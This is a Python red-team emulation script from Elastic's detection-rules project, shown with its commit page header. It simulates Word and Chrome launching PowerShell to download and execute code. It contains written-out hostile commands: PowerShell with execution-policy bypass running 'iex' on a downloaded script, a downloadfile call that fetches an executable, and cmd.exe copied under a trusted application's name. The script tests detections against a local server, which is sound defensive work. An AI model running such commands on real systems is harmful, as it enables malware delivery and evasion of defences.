Ross Wolf
a0d3b4bd23
Co-Authored-By: Brent Murphy <56412096+bm11100@users.noreply.github.com> Co-Authored-By: Daniel Stepanic <57736958+dstepanic17@users.noreply.github.com> Co-Authored-By: David French <56409778+threat-punter@users.noreply.github.com> Co-Authored-By: Joe Desimone <56411054+joe-desimone@users.noreply.github.com> Co-Authored-By: Justin Ibarra <brokensound77@users.noreply.github.com>
41 lines
1.3 KiB
Python
41 lines
1.3 KiB
Python
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
|
# or more contributor license agreements. Licensed under the Elastic License;
|
|
# you may not use this file except in compliance with the Elastic License.
|
|
|
|
# Name: Suspicious PowerShell Download
|
|
# RTA: suspicious_powershell_download.py
|
|
# ATT&CK: T1086
|
|
# Description: PowerShell using DownloadString or DownloadFile in suspicious context
|
|
|
|
import os
|
|
import time
|
|
|
|
from . import common
|
|
|
|
|
|
@common.requires_os(common.WINDOWS)
|
|
def main():
|
|
cmd_path = "c:\\windows\\system32\\cmd.exe"
|
|
server, ip, port = common.serve_web()
|
|
url = 'http://{}:{}/bad.ps1'.format(ip, port)
|
|
|
|
cmds = ["powershell -ep bypass -c iex(new-object net.webclient).downloadstring('{}')".format(url),
|
|
"powershell -ep bypass -c (new-object net.webclient).downloadfile('{}', 'bad.exe')".format(url)]
|
|
|
|
# emulate word and chrome
|
|
for user_app in ["winword.exe", "chrome.exe"]:
|
|
common.log("Emulating {}".format(user_app))
|
|
user_app_path = os.path.abspath(user_app)
|
|
common.copy_file(cmd_path, user_app_path)
|
|
|
|
for cmd in cmds:
|
|
common.execute([user_app_path, "/c", cmd])
|
|
time.sleep(2)
|
|
|
|
# cleanup
|
|
common.remove_file(user_app_path)
|
|
|
|
|
|
if __name__ == "__main__":
|
|
exit(main())
|